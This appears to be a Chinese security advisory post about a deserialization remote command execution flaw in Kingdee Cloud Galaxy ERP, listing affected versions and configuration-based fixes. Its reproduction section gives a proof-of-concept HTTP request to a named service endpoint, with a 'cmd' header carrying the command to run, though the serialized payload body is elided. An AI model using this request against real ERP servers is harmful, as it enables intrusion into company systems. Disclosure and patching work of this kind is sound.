金蝶云星空管理中心反序列化RCE漏洞

Timeline Sec

发布于 2023-11-01 19:45:45

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发布于 2023-11-01 19:45:45

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0x01 简介

金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织，多利润中心的大中型企业，以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖：财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务，帮助企业实现数字化营销新生态及管理重构等，提升企业数字化能力。

0x02 漏洞概述

由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心（默认8000端口），普通应用（默认80端口）也存在类似问题。

0x03 影响版本

6.x版本：低于6.2.1012.4
7.x版本：7.0.352.16 至 7.7.0.202111
8.x版本：8.0.0.202205 至 8.1.0.20221110

0x04 环境搭建

可参考金蝶云·星空安装部署

https://vip.kingdee.com/knowledge/specialDetail/344879001301174784?category=344882345335742976&id=345854786849135360&productLineId=1

0x05 漏洞复现

使用POC（cmd后面输入自己的命令）

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 192.168.93.130:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.223.11 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/json
cmd: ipconfig
Content-Length: 15915

{
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* "ap0": 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*/
"format": "3"
}

0x06 修复方式

8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解，注意管理中心与普通应用配置文件均需添加：

# 普通应用配置：{WebROOT}\Kingdee\K3Cloud\WebSite\App_Data\Common.config
# 管理中心配置：{WebROOT}\Kingdee\K3Cloud\Services\ManagementService\App_Data\Common.configEnabledKDSVCBinary = false

由于该漏洞不仅影响管理中心（默认8000端口），也影响普通应用（默认80端口）。如果其它版本通过限制访问来源临时缓解漏洞，需要考虑是否会中断普通用户Web业务。7.x版本必须先安装全量补丁（修复代码）后安装临时补丁（添加安全配置） 8.x版本管理中心（默认8000端口）默认不对外开放，且包含修复代码。但是直接安装临时补丁可能会失败，所以依旧建议先安装全量补丁（修复代码）后安装临时补丁（添加安全配置）。